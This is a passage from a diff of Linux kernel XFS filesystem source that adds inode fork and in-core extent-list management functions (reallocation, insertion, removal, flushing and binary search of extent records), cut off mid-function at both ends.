xfs_ifork_t *ifp; + int new_size; + int real_size; + + if (byte_diff == 0) { + return; + } + + ifp = XFS_IFORK_PTR(ip, whichfork); + new_size = (int)ifp->if_bytes + byte_diff; + ASSERT(new_size >= 0); + + if (new_size == 0) { + if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { + kmem_free(ifp->if_u1.if_data); + } + ifp->if_u1.if_data = NULL; + real_size = 0; + } else if (new_size <= sizeof(ifp->if_u2.if_inline_data)) { + /* + * If the valid extents/data can fit in if_inline_ext/data, + * copy them from the malloc'd vector and free it. + */ + if (ifp->if_u1.if_data == NULL) { + ifp->if_u1.if_data = ifp->if_u2.if_inline_data; + } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { + ASSERT(ifp->if_real_bytes != 0); + memcpy(ifp->if_u2.if_inline_data, ifp->if_u1.if_data, + new_size); + kmem_free(ifp->if_u1.if_data); + ifp->if_u1.if_data = ifp->if_u2.if_inline_data; + } + real_size = 0; + } else { + /* + * Stuck with malloc/realloc. + * For inline data, the underlying buffer must be + * a multiple of 4 bytes in size so that it can be + * logged and stay on word boundaries. We enforce + * that here. + */ + real_size = roundup(new_size, 4); + if (ifp->if_u1.if_data == NULL) { + ASSERT(ifp->if_real_bytes == 0); + ifp->if_u1.if_data = kmem_alloc(real_size, + KM_SLEEP | KM_NOFS); + } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { + /* + * Only do the realloc if the underlying size + * is really changing. + */ + if (ifp->if_real_bytes != real_size) { + ifp->if_u1.if_data = + kmem_realloc(ifp->if_u1.if_data, + real_size, + ifp->if_real_bytes, + KM_SLEEP | KM_NOFS); + } + } else { + ASSERT(ifp->if_real_bytes == 0); + ifp->if_u1.if_data = kmem_alloc(real_size, + KM_SLEEP | KM_NOFS); + memcpy(ifp->if_u1.if_data, ifp->if_u2.if_inline_data, + ifp->if_bytes); + } + } + ifp->if_real_bytes = real_size; + ifp->if_bytes = new_size; + ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); +} + +void +xfs_idestroy_fork( + xfs_inode_t *ip, + int whichfork) +{ + xfs_ifork_t *ifp; + + ifp = XFS_IFORK_PTR(ip, whichfork); + if (ifp->if_broot != NULL) { + kmem_free(ifp->if_broot); + ifp->if_broot = NULL; + } + + /* + * If the format is local, then we can't have an extents + * array so just look for an inline data array. If we're + * not local then we may or may not have an extents list, + * so check and free it up if we do. + */ + if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL) { + if ((ifp->if_u1.if_data != ifp->if_u2.if_inline_data) && + (ifp->if_u1.if_data != NULL)) { + ASSERT(ifp->if_real_bytes != 0); + kmem_free(ifp->if_u1.if_data); + ifp->if_u1.if_data = NULL; + ifp->if_real_bytes = 0; + } + } else if ((ifp->if_flags & XFS_IFEXTENTS) && + ((ifp->if_flags & XFS_IFEXTIREC) || + ((ifp->if_u1.if_extents != NULL) && + (ifp->if_u1.if_extents != ifp->if_u2.if_inline_ext)))) { + ASSERT(ifp->if_real_bytes != 0); + xfs_iext_destroy(ifp); + } + ASSERT(ifp->if_u1.if_extents == NULL || + ifp->if_u1.if_extents == ifp->if_u2.if_inline_ext); + ASSERT(ifp->if_real_bytes == 0); + if (whichfork == XFS_ATTR_FORK) { + kmem_zone_free(xfs_ifork_zone, ip->i_afp); + ip->i_afp = NULL; + } +} + +/* + * xfs_iextents_copy() + * + * This is called to copy the REAL extents (as opposed to the delayed + * allocation extents) from the inode into the given buffer. It + * returns the number of bytes copied into the buffer. + * + * If there are no delayed allocation extents, then we can just + * memcpy() the extents into the buffer. Otherwise, we need to + * examine each extent in turn and skip those which are delayed. + */ +int +xfs_iextents_copy( + xfs_inode_t *ip, + xfs_bmbt_rec_t *dp, + int whichfork) +{ + int copied; + int i; + xfs_ifork_t *ifp; + int nrecs; + xfs_fsblock_t start_block; + + ifp = XFS_IFORK_PTR(ip, whichfork); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL|XFS_ILOCK_SHARED)); + ASSERT(ifp->if_bytes > 0); + + nrecs = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + XFS_BMAP_TRACE_EXLIST(ip, nrecs, whichfork); + ASSERT(nrecs > 0); + + /* + * There are some delayed allocation extents in the + * inode, so copy the extents one at a time and skip + * the delayed ones. There must be at least one + * non-delayed extent. + */ + copied = 0; + for (i = 0; i < nrecs; i++) { + xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); + start_block = xfs_bmbt_get_startblock(ep); + if (isnullstartblock(start_block)) { + /* + * It's a delayed allocation extent, so skip it. + */ + continue; + } + + /* Translate to on disk format */ + put_unaligned_be64(ep->l0, &dp->l0); + put_unaligned_be64(ep->l1, &dp->l1); + dp++; + copied++; + } + ASSERT(copied != 0); + xfs_validate_extents(ifp, copied, XFS_EXTFMT_INODE(ip)); + + return (copied * (uint)sizeof(xfs_bmbt_rec_t)); +} + +/* + * Each of the following cases stores data into the same region + * of the on-disk inode, so only one of them can be valid at + * any given time. While it is possible to have conflicting formats + * and log flags, e.g. having XFS_ILOG_?DATA set when the fork is + * in EXTENTS format, this can only happen when the fork has + * changed formats after being modified but before being flushed. + * In these cases, the format always takes precedence, because the + * format indicates the current state of the fork. + */ +void +xfs_iflush_fork( + xfs_inode_t *ip, + xfs_dinode_t *dip, + xfs_inode_log_item_t *iip, + int whichfork, + xfs_buf_t *bp) +{ + char *cp; + xfs_ifork_t *ifp; + xfs_mount_t *mp; + static const short brootflag[2] = + { XFS_ILOG_DBROOT, XFS_ILOG_ABROOT }; + static const short dataflag[2] = + { XFS_ILOG_DDATA, XFS_ILOG_ADATA }; + static const short extflag[2] = + { XFS_ILOG_DEXT, XFS_ILOG_AEXT }; + + if (!iip) + return; + ifp = XFS_IFORK_PTR(ip, whichfork); + /* + * This can happen if we gave up in iformat in an error path, + * for the attribute fork. + */ + if (!ifp) { + ASSERT(whichfork == XFS_ATTR_FORK); + return; + } + cp = XFS_DFORK_PTR(dip, whichfork); + mp = ip->i_mount; + switch (XFS_IFORK_FORMAT(ip, whichfork)) { + case XFS_DINODE_FMT_LOCAL: + if ((iip->ili_fields & dataflag[whichfork]) && + (ifp->if_bytes > 0)) { + ASSERT(ifp->if_u1.if_data != NULL); + ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); + memcpy(cp, ifp->if_u1.if_data, ifp->if_bytes); + } + break; + + case XFS_DINODE_FMT_EXTENTS: + ASSERT((ifp->if_flags & XFS_IFEXTENTS) || + !(iip->ili_fields & extflag[whichfork])); + if ((iip->ili_fields & extflag[whichfork]) && + (ifp->if_bytes > 0)) { + ASSERT(xfs_iext_get_ext(ifp, 0)); + ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) > 0); + (void)xfs_iextents_copy(ip, (xfs_bmbt_rec_t *)cp, + whichfork); + } + break; + + case XFS_DINODE_FMT_BTREE: + if ((iip->ili_fields & brootflag[whichfork]) && + (ifp->if_broot_bytes > 0)) { + ASSERT(ifp->if_broot != NULL); + ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= + XFS_IFORK_SIZE(ip, whichfork)); + xfs_bmbt_to_bmdr(mp, ifp->if_broot, ifp->if_broot_bytes, + (xfs_bmdr_block_t *)cp, + XFS_DFORK_SIZE(dip, mp, whichfork)); + } + break; + + case XFS_DINODE_FMT_DEV: + if (iip->ili_fields & XFS_ILOG_DEV) { + ASSERT(whichfork == XFS_DATA_FORK); + xfs_dinode_put_rdev(dip, ip->i_df.if_u2.if_rdev); + } + break; + + case XFS_DINODE_FMT_UUID: + if (iip->ili_fields & XFS_ILOG_UUID) { + ASSERT(whichfork == XFS_DATA_FORK); + memcpy(XFS_DFORK_DPTR(dip), + &ip->i_df.if_u2.if_uuid, + sizeof(uuid_t)); + } + break; + + default: + ASSERT(0); + break; + } +} + +/* + * Return a pointer to the extent record at file index idx. + */ +xfs_bmbt_rec_host_t * +xfs_iext_get_ext( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx) /* index of target extent */ +{ + ASSERT(idx >= 0); + ASSERT(idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); + + if ((ifp->if_flags & XFS_IFEXTIREC) && (idx == 0)) { + return ifp->if_u1.if_ext_irec->er_extbuf; + } else if (ifp->if_flags & XFS_IFEXTIREC) { + xfs_ext_irec_t *erp; /* irec pointer */ + int erp_idx = 0; /* irec index */ + xfs_extnum_t page_idx = idx; /* ext index in target list */ + + erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); + return &erp->er_extbuf[page_idx]; + } else if (ifp->if_bytes) { + return &ifp->if_u1.if_extents[idx]; + } else { + return NULL; + } +} + +/* + * Insert new item(s) into the extent records for incore inode + * fork 'ifp'. 'count' new items are inserted at index 'idx'. + */ +void +xfs_iext_insert( + xfs_inode_t *ip, /* incore inode pointer */ + xfs_extnum_t idx, /* starting index of new items */ + xfs_extnum_t count, /* number of inserted items */ + xfs_bmbt_irec_t *new, /* items to insert */ + int state) /* type of extent conversion */ +{ + xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; + xfs_extnum_t i; /* extent record index */ + + trace_xfs_iext_insert(ip, idx, new, state, _RET_IP_); + + ASSERT(ifp->if_flags & XFS_IFEXTENTS); + xfs_iext_add(ifp, idx, count); + for (i = idx; i < idx + count; i++, new++) + xfs_bmbt_set_all(xfs_iext_get_ext(ifp, i), new); +} + +/* + * This is called when the amount of space required for incore file + * extents needs to be increased. The ext_diff parameter stores the + * number of new extents being added and the idx parameter contains + * the extent index where the new extents will be added. If the new + * extents are being appended, then we just need to (re)allocate and + * initialize the space. Otherwise, if the new extents are being + * inserted into the middle of the existing entries, a bit more work + * is required to make room for the new extents to be inserted. The + * caller is responsible for filling in the new extent entries upon + * return. + */ +void +xfs_iext_add( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin adding exts */ + int ext_diff) /* number of extents to add */ +{ + int byte_diff; /* new bytes being added */ + int new_size; /* size of extents after adding */ + xfs_extnum_t nextents; /* number of extents in file */ + + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT((idx >= 0) && (idx <= nextents)); + byte_diff = ext_diff * sizeof(xfs_bmbt_rec_t); + new_size = ifp->if_bytes + byte_diff; + /* + * If the new number of extents (nextents + ext_diff) + * fits inside the inode, then continue to use the inline + * extent buffer. + */ + if (nextents + ext_diff <= XFS_INLINE_EXTS) { + if (idx < nextents) { + memmove(&ifp->if_u2.if_inline_ext[idx + ext_diff], + &ifp->if_u2.if_inline_ext[idx], + (nextents - idx) * sizeof(xfs_bmbt_rec_t)); + memset(&ifp->if_u2.if_inline_ext[idx], 0, byte_diff); + } + ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; + ifp->if_real_bytes = 0; + } + /* + * Otherwise use a linear (direct) extent list. + * If the extents are currently inside the inode, + * xfs_iext_realloc_direct will switch us from + * inline to direct extent allocation mode. + */ + else if (nextents + ext_diff <= XFS_LINEAR_EXTS) { + xfs_iext_realloc_direct(ifp, new_size); + if (idx < nextents) { + memmove(&ifp->if_u1.if_extents[idx + ext_diff], + &ifp->if_u1.if_extents[idx], + (nextents - idx) * sizeof(xfs_bmbt_rec_t)); + memset(&ifp->if_u1.if_extents[idx], 0, byte_diff); + } + } + /* Indirection array */ + else { + xfs_ext_irec_t *erp; + int erp_idx = 0; + int page_idx = idx; + + ASSERT(nextents + ext_diff > XFS_LINEAR_EXTS); + if (ifp->if_flags & XFS_IFEXTIREC) { + erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 1); + } else { + xfs_iext_irec_init(ifp); + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + erp = ifp->if_u1.if_ext_irec; + } + /* Extents fit in target extent page */ + if (erp && erp->er_extcount + ext_diff <= XFS_LINEAR_EXTS) { + if (page_idx < erp->er_extcount) { + memmove(&erp->er_extbuf[page_idx + ext_diff], + &erp->er_extbuf[page_idx], + (erp->er_extcount - page_idx) * + sizeof(xfs_bmbt_rec_t)); + memset(&erp->er_extbuf[page_idx], 0, byte_diff); + } + erp->er_extcount += ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); + } + /* Insert a new extent page */ + else if (erp) { + xfs_iext_add_indirect_multi(ifp, + erp_idx, page_idx, ext_diff); + } + /* + * If extent(s) are being appended to the last page in + * the indirection array and the new extent(s) don't fit + * in the page, then erp is NULL and erp_idx is set to + * the next index needed in the indirection array. + */ + else { + int count = ext_diff; + + while (count) { + erp = xfs_iext_irec_new(ifp, erp_idx); + erp->er_extcount = count; + count -= MIN(count, (int)XFS_LINEAR_EXTS); + if (count) { + erp_idx++; + } + } + } + } + ifp->if_bytes = new_size; +} + +/* + * This is called when incore extents are being added to the indirection + * array and the new extents do not fit in the target extent list. The + * erp_idx parameter contains the irec index for the target extent list + * in the indirection array, and the idx parameter contains the extent + * index within the list. The number of extents being added is stored + * in the count parameter. + * + * |-------| |-------| + * | | | | idx - number of extents before idx + * | idx | | count | + * | | | | count - number of extents being inserted at idx + * |-------| |-------| + * | count | | nex2 | nex2 - number of extents after idx + count + * |-------| |-------| + */ +void +xfs_iext_add_indirect_multi( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx, /* target extent irec index */ + xfs_extnum_t idx, /* index within target list */ + int count) /* new extents being added */ +{ + int byte_diff; /* new bytes being added */ + xfs_ext_irec_t *erp; /* pointer to irec entry */ + xfs_extnum_t ext_diff; /* number of extents to add */ + xfs_extnum_t ext_cnt; /* new extents still needed */ + xfs_extnum_t nex2; /* extents after idx + count */ + xfs_bmbt_rec_t *nex2_ep = NULL; /* temp list for nex2 extents */ + int nlists; /* number of irec's (lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + nex2 = erp->er_extcount - idx; + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + + /* + * Save second part of target extent list + * (all extents past */ + if (nex2) { + byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); + nex2_ep = (xfs_bmbt_rec_t *) kmem_alloc(byte_diff, KM_NOFS); + memmove(nex2_ep, &erp->er_extbuf[idx], byte_diff); + erp->er_extcount -= nex2; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -nex2); + memset(&erp->er_extbuf[idx], 0, byte_diff); + } + + /* + * Add the new extents to the end of the target + * list, then allocate new irec record(s) and + * extent buffer(s) as needed to store the rest + * of the new extents. + */ + ext_cnt = count; + ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS - erp->er_extcount); + if (ext_diff) { + erp->er_extcount += ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); + ext_cnt -= ext_diff; + } + while (ext_cnt) { + erp_idx++; + erp = xfs_iext_irec_new(ifp, erp_idx); + ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS); + erp->er_extcount = ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); + ext_cnt -= ext_diff; + } + + /* Add nex2 extents back to indirection array */ + if (nex2) { + xfs_extnum_t ext_avail; + int i; + + byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); + ext_avail = XFS_LINEAR_EXTS - erp->er_extcount; + i = 0; + /* + * If nex2 extents fit in the current page, append + * nex2_ep after the new extents. + */ + if (nex2 <= ext_avail) { + i = erp->er_extcount; + } + /* + * Otherwise, check if space is available in the + * next page. + */ + else if ((erp_idx < nlists - 1) && + (nex2 <= (ext_avail = XFS_LINEAR_EXTS - + ifp->if_u1.if_ext_irec[erp_idx+1].er_extcount))) { + erp_idx++; + erp++; + /* Create a hole for nex2 extents */ + memmove(&erp->er_extbuf[nex2], erp->er_extbuf, + erp->er_extcount * sizeof(xfs_bmbt_rec_t)); + } + /* + * Final choice, create a new extent page for + * nex2 extents. + */ + else { + erp_idx++; + erp = xfs_iext_irec_new(ifp, erp_idx); + } + memmove(&erp->er_extbuf[i], nex2_ep, byte_diff); + kmem_free(nex2_ep); + erp->er_extcount += nex2; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, nex2); + } +} + +/* + * This is called when the amount of space required for incore file + * extents needs to be decreased. The ext_diff parameter stores the + * number of extents to be removed and the idx parameter contains + * the extent index where the extents will be removed from. + * + * If the amount of space needed has decreased below the linear + * limit, XFS_IEXT_BUFSZ, then switch to using the contiguous + * extent array. Otherwise, use kmem_realloc() to adjust the + * size to what is needed. + */ +void +xfs_iext_remove( + xfs_inode_t *ip, /* incore inode pointer */ + xfs_extnum_t idx, /* index to begin removing exts */ + int ext_diff, /* number of extents to remove */ + int state) /* type of extent conversion */ +{ + xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; + xfs_extnum_t nextents; /* number of extents in file */ + int new_size; /* size of extents after removal */ + + trace_xfs_iext_remove(ip, idx, state, _RET_IP_); + + ASSERT(ext_diff > 0); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + new_size = (nextents - ext_diff) * sizeof(xfs_bmbt_rec_t); + + if (new_size == 0) { + xfs_iext_destroy(ifp); + } else if (ifp->if_flags & XFS_IFEXTIREC) { + xfs_iext_remove_indirect(ifp, idx, ext_diff); + } else if (ifp->if_real_bytes) { + xfs_iext_remove_direct(ifp, idx, ext_diff); + } else { + xfs_iext_remove_inline(ifp, idx, ext_diff); + } + ifp->if_bytes = new_size; +} + +/* + * This removes ext_diff extents from the inline buffer, beginning + * at extent index idx. + */ +void +xfs_iext_remove_inline( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin removing exts */ + int ext_diff) /* number of extents to remove */ +{ + int nextents; /* number of extents in file */ + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); + ASSERT(idx < XFS_INLINE_EXTS); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT(((nextents - ext_diff) > 0) && + (nextents - ext_diff) < XFS_INLINE_EXTS); + + if (idx + ext_diff < nextents) { + memmove(&ifp->if_u2.if_inline_ext[idx], + &ifp->if_u2.if_inline_ext[idx + ext_diff], + (nextents - (idx + ext_diff)) * + sizeof(xfs_bmbt_rec_t)); + memset(&ifp->if_u2.if_inline_ext[nextents - ext_diff], + 0, ext_diff * sizeof(xfs_bmbt_rec_t)); + } else { + memset(&ifp->if_u2.if_inline_ext[idx], 0, + ext_diff * sizeof(xfs_bmbt_rec_t)); + } +} + +/* + * This removes ext_diff extents from a linear (direct) extent list, + * beginning at extent index idx. If the extents are being removed + * from the end of the list (ie. truncate) then we just need to re- + * allocate the list to remove the extra space. Otherwise, if the + * extents are being removed from the middle of the existing extent + * entries, then we first need to move the extent records beginning + * at idx + ext_diff up in the list to overwrite the records being + * removed, then remove the extra space via kmem_realloc. + */ +void +xfs_iext_remove_direct( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin removing exts */ + int ext_diff) /* number of extents to remove */ +{ + xfs_extnum_t nextents; /* number of extents in file */ + int new_size; /* size of extents after removal */ + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); + new_size = ifp->if_bytes - + (ext_diff * sizeof(xfs_bmbt_rec_t)); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + + if (new_size == 0) { + xfs_iext_destroy(ifp); + return; + } + /* Move extents up in the list (if needed) */ + if (idx + ext_diff < nextents) { + memmove(&ifp->if_u1.if_extents[idx], + &ifp->if_u1.if_extents[idx + ext_diff], + (nextents - (idx + ext_diff)) * + sizeof(xfs_bmbt_rec_t)); + } + memset(&ifp->if_u1.if_extents[nextents - ext_diff], + 0, ext_diff * sizeof(xfs_bmbt_rec_t)); + /* + * Reallocate the direct extent list. If the extents + * will fit inside the inode then xfs_iext_realloc_direct + * will switch from direct to inline extent allocation + * mode for us. + */ + xfs_iext_realloc_direct(ifp, new_size); + ifp->if_bytes = new_size; +} + +/* + * This is called when incore extents are being removed from the + * indirection array and the extents being removed span multiple extent + * buffers. The idx parameter contains the file extent index where we + * want to begin removing extents, and the count parameter contains + * how many extents need to be removed. + * + * |-------| |-------| + * | nex1 | | | nex1 - number of extents before idx + * |-------| | count | + * | | | | count - number of extents being removed at idx + * | count | |-------| + * | | | nex2 | nex2 - number of extents after idx + count + * |-------| |-------| + */ +void +xfs_iext_remove_indirect( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin removing extents */ + int count) /* number of extents to remove */ +{ + xfs_ext_irec_t *erp; /* indirection array pointer */ + int erp_idx = 0; /* indirection array index */ + xfs_extnum_t ext_cnt; /* extents left to remove */ + xfs_extnum_t ext_diff; /* extents to remove in current list */ + xfs_extnum_t nex1; /* number of extents before idx */ + xfs_extnum_t nex2; /* extents after idx + count */ + int page_idx = idx; /* index in target extent list */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); + ASSERT(erp != NULL); + nex1 = page_idx; + ext_cnt = count; + while (ext_cnt) { + nex2 = MAX((erp->er_extcount - (nex1 + ext_cnt)), 0); + ext_diff = MIN(ext_cnt, (erp->er_extcount - nex1)); + /* + * Check for deletion of entire list; + * xfs_iext_irec_remove() updates extent offsets. + */ + if (ext_diff == erp->er_extcount) { + xfs_iext_irec_remove(ifp, erp_idx); + ext_cnt -= ext_diff; + nex1 = 0; + if (ext_cnt) { + ASSERT(erp_idx < ifp->if_real_bytes / + XFS_IEXT_BUFSZ); + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + nex1 = 0; + continue; + } else { + break; + } + } + /* Move extents up (if needed) */ + if (nex2) { + memmove(&erp->er_extbuf[nex1], + &erp->er_extbuf[nex1 + ext_diff], + nex2 * sizeof(xfs_bmbt_rec_t)); + } + /* Zero out rest of page */ + memset(&erp->er_extbuf[nex1 + nex2], 0, (XFS_IEXT_BUFSZ - + ((nex1 + nex2) * sizeof(xfs_bmbt_rec_t)))); + /* Update remaining counters */ + erp->er_extcount -= ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -ext_diff); + ext_cnt -= ext_diff; + nex1 = 0; + erp_idx++; + erp++; + } + ifp->if_bytes -= count * sizeof(xfs_bmbt_rec_t); + xfs_iext_irec_compact(ifp); +} + +/* + * Create, destroy, or resize a linear (direct) block of extents. + */ +void +xfs_iext_realloc_direct( + xfs_ifork_t *ifp, /* inode fork pointer */ + int new_size) /* new size of extents */ +{ + int rnew_size; /* real new size of extents */ + + rnew_size = new_size; + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC) || + ((new_size >= 0) && (new_size <= XFS_IEXT_BUFSZ) && + (new_size != ifp->if_real_bytes))); + + /* Free extent records */ + if (new_size == 0) { + xfs_iext_destroy(ifp); + } + /* Resize direct extent list and zero any new bytes */ + else if (ifp->if_real_bytes) { + /* Check if extents will fit inside the inode */ + if (new_size <= XFS_INLINE_EXTS * sizeof(xfs_bmbt_rec_t)) { + xfs_iext_direct_to_inline(ifp, new_size / + (uint)sizeof(xfs_bmbt_rec_t)); + ifp->if_bytes = new_size; + return; + } + if (!is_power_of_2(new_size)){ + rnew_size = roundup_pow_of_two(new_size); + } + if (rnew_size != ifp->if_real_bytes) { + ifp->if_u1.if_extents = + kmem_realloc(ifp->if_u1.if_extents, + rnew_size, + ifp->if_real_bytes, KM_NOFS); + } + if (rnew_size > ifp->if_real_bytes) { + memset(&ifp->if_u1.if_extents[ifp->if_bytes / + (uint)sizeof(xfs_bmbt_rec_t)], 0, + rnew_size - ifp->if_real_bytes); + } + } + /* + * Switch from the inline extent buffer to a direct + * extent list. Be sure to include the inline extent + * bytes in new_size. + */ + else { + new_size += ifp->if_bytes; + if (!is_power_of_2(new_size)) { + rnew_size = roundup_pow_of_two(new_size); + } + xfs_iext_inline_to_direct(ifp, rnew_size); + } + ifp->if_real_bytes = rnew_size; + ifp->if_bytes = new_size; +} + +/* + * Switch from linear (direct) extent records to inline buffer. + */ +void +xfs_iext_direct_to_inline( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t nextents) /* number of extents in file */ +{ + ASSERT(ifp->if_flags & XFS_IFEXTENTS); + ASSERT(nextents <= XFS_INLINE_EXTS); + /* + * The inline buffer was zeroed when we switched + * from inline to direct extent allocation mode, + * so we don't need to clear it here. + */ + memcpy(ifp->if_u2.if_inline_ext, ifp->if_u1.if_extents, + nextents * sizeof(xfs_bmbt_rec_t)); + kmem_free(ifp->if_u1.if_extents); + ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; + ifp->if_real_bytes = 0; +} + +/* + * Switch from inline buffer to linear (direct) extent records. + * new_size should already be rounded up to the next power of 2 + * by the caller (when appropriate), so use new_size as it is. + * However, since new_size may be rounded up, we can't update + * if_bytes here. It is the caller's responsibility to update + * if_bytes upon return. + */ +void +xfs_iext_inline_to_direct( + xfs_ifork_t *ifp, /* inode fork pointer */ + int new_size) /* number of extents in file */ +{ + ifp->if_u1.if_extents = kmem_alloc(new_size, KM_NOFS); + memset(ifp->if_u1.if_extents, 0, new_size); + if (ifp->if_bytes) { + memcpy(ifp->if_u1.if_extents, ifp->if_u2.if_inline_ext, + ifp->if_bytes); + memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * + sizeof(xfs_bmbt_rec_t)); + } + ifp->if_real_bytes = new_size; +} + +/* + * Resize an extent indirection array to new_size bytes. + */ +STATIC void +xfs_iext_realloc_indirect( + xfs_ifork_t *ifp, /* inode fork pointer */ + int new_size) /* new indirection array size */ +{ + int nlists; /* number of irec's (ex lists) */ + int size; /* current indirection array size */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + size = nlists * sizeof(xfs_ext_irec_t); + ASSERT(ifp->if_real_bytes); + ASSERT((new_size >= 0) && (new_size != size)); + if (new_size == 0) { + xfs_iext_destroy(ifp); + } else { + ifp->if_u1.if_ext_irec = (xfs_ext_irec_t *) + kmem_realloc(ifp->if_u1.if_ext_irec, + new_size, size, KM_NOFS); + } +} + +/* + * Switch from indirection array to linear (direct) extent allocations. + */ +STATIC void +xfs_iext_indirect_to_direct( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + xfs_bmbt_rec_host_t *ep; /* extent record pointer */ + xfs_extnum_t nextents; /* number of extents in file */ + int size; /* size of file extents */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT(nextents <= XFS_LINEAR_EXTS); + size = nextents * sizeof(xfs_bmbt_rec_t); + + xfs_iext_irec_compact_pages(ifp); + ASSERT(ifp->if_real_bytes == XFS_IEXT_BUFSZ); + + ep = ifp->if_u1.if_ext_irec->er_extbuf; + kmem_free(ifp->if_u1.if_ext_irec); + ifp->if_flags &= ~XFS_IFEXTIREC; + ifp->if_u1.if_extents = ep; + ifp->if_bytes = size; + if (nextents < XFS_LINEAR_EXTS) { + xfs_iext_realloc_direct(ifp, size); + } +} + +/* + * Free incore file extents. + */ +void +xfs_iext_destroy( + xfs_ifork_t *ifp) /* inode fork pointer */ +{ + if (ifp->if_flags & XFS_IFEXTIREC) { + int erp_idx; + int nlists; + + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { + xfs_iext_irec_remove(ifp, erp_idx); + } + ifp->if_flags &= ~XFS_IFEXTIREC; + } else if (ifp->if_real_bytes) { + kmem_free(ifp->if_u1.if_extents); + } else if (ifp->if_bytes) { + memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * + sizeof(xfs_bmbt_rec_t)); + } + ifp->if_u1.if_extents = NULL; + ifp->if_real_bytes = 0; + ifp->if_bytes = 0; +} + +/* + * Return a pointer to the extent record for file system block bno. + */ +xfs_bmbt_rec_host_t * /* pointer to found extent record */ +xfs_iext_bno_to_ext( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_fileoff_t bno, /* block number to search for */ + xfs_extnum_t *idxp) /* index of target extent */ +{ + xfs_bmbt_rec_host_t *base; /* pointer to first extent */ + xfs_filblks_t blockcount = 0; /* number of blocks in extent */ + xfs_bmbt_rec_host_t *ep = NULL; /* pointer to target extent */ + xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ + int high; /* upper boundary in search */ + xfs_extnum_t idx = 0; /* index of target extent */ + int low; /* lower boundary in search */ + xfs_extnum_t nextents; /* number of file extents */ + xfs_fileoff_t startoff = 0; /* start offset of extent */ + + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + if (nextents == 0) { + *idxp = 0; + return NULL; + } + low = 0; + if (ifp->if_flags & XFS_IFEXTIREC) { + /* Find target extent list */ + int erp_idx = 0; + erp = xfs_iext_bno_to_irec(ifp, bno, &erp_idx); + base = erp->er_extbuf; + high = erp->er_extcount - 1; + } else { + base = ifp->if_u1.if_extents; + high = nextents - 1; + } + /* Binary search extent records */ + while (low <= high) { + idx = (low + high) >> 1; + ep = base + idx; + startoff = xfs_bmbt_get_startoff(ep); + blockcount = xfs_bmbt_get_blockcount(ep); + if (bno < startoff) { + high = idx - 1; + } else if (bno >= startoff + blockcount) { + low = idx + 1; + } else { + /* Convert back to file-based extent index */ + if (ifp->if_flags & XFS_IFEXTIREC) { + idx += erp->er_extoff; + } + *idxp = idx; + return ep; + } + } + /* Convert back to file-based extent index */ + if (ifp->if_flags & 